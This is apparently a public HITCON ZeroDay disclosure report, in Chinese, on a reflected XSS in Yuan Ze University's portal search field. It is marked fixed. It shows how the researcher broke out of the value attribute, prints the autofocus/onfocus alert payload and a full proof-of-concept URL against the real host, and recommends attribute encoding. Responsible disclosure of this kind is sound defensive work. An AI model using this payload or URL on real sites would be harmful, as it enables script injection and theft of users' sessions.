Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00905
- Vendor: 元智大學
- Title: 元智大學 Portal Reflected XSS via HTML attribute injection
- Introduction: Reflected XSS,攻擊者可以利用該漏洞在瀏覽器執行惡意腳本
處理狀態
目前狀態
公開
Last Update : 2026/08/13
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/07/05 19:07:44 : 新提交 (由 CheN.. 更新此狀態)
- 2026/07/05 19:08:10 : 新提交 (由 CheN.. 更新此狀態)
- 2026/07/07 13:45:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:39:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/23 16:39:11 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 17:18:06 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/13 03:00:27 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00905
- 通報者:SamChen_696 (CheN..)
- 風險:中
- 類型:反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
參考資料
攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則: OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
防禦繞過方式: OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則: OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
防禦繞過方式: OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://portalx.yzu.edu.tw/PortalSocialVB/FMain/PostWall.aspx?Menu=Pot&ReQuery=1&OnSort=date,desc&OnSearch=123%22%20autofocus%20onfocus=%22alert(document.domain)%22%20x=%22&BoardY=&BoardC=
敘述
概述
在大一新生查詢學號登入系統後,進到動態牆頁面,看到這邊有搜尋功能 決定簡單測試一下。首先輸入
123"><
發現搜尋框附近的 HTML 結構變成:
<div id="divSearchFunction" class="divSearchFunction">
<input id="inputSearch" type="text" class="txtLapSearch" value="123"><" onkeypress="return CallSearchInput(event);" />
<img src="../Images/Icons/magnifier.png" title="搜尋" class="imgLapSearch" onclick="CallSearch();">
</div>
可以看到輸入的 " 成功逃脫了原本的 value="..." 屬性,畫面上會變成 <" onkeypress="return CallSearchInput(event);" /> 這種文字顯示。 < 和 > 確認會被轉義,但我們還是可以透過 " 跳出原本的 value 屬性來達到 XSS。輸入 :
123" autofocus onfocus="alert(document.domain)" x="
結構會變成 :
<input
id="inputSearch"
type="text"
class="txtLapSearch"
value="123"
autofocus
onfocus="alert(document.domain)"
x=""
onkeypress="return CallSearchInput(event);">
最後成功觸發彈窗!
這邊確認在無痕模式輸入 PoC URL 也可觸發,不需要先登入。證明不是單純 self-XSS,而是 reflected XSS。
PoC
完整 XSS Payload:
https://portalx.yzu.edu.tw/PortalSocialVB/FMain/PostWall.aspx?Menu=Pot&ReQuery=1&OnSort=date,desc&OnSearch=123%22%20autofocus%20onfocus=%22alert(document.domain)%22%20x=%22&BoardY=&BoardC=
影響
攻擊者可透過精心構造的連結,在受害者的瀏覽器上執行任意 JavaScript 代碼。
修補建議
針對所有輸出到 HTML attribute context 的使用者輸入進行 HTML attribute encoding,包含 "、'、&、<、> 等。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。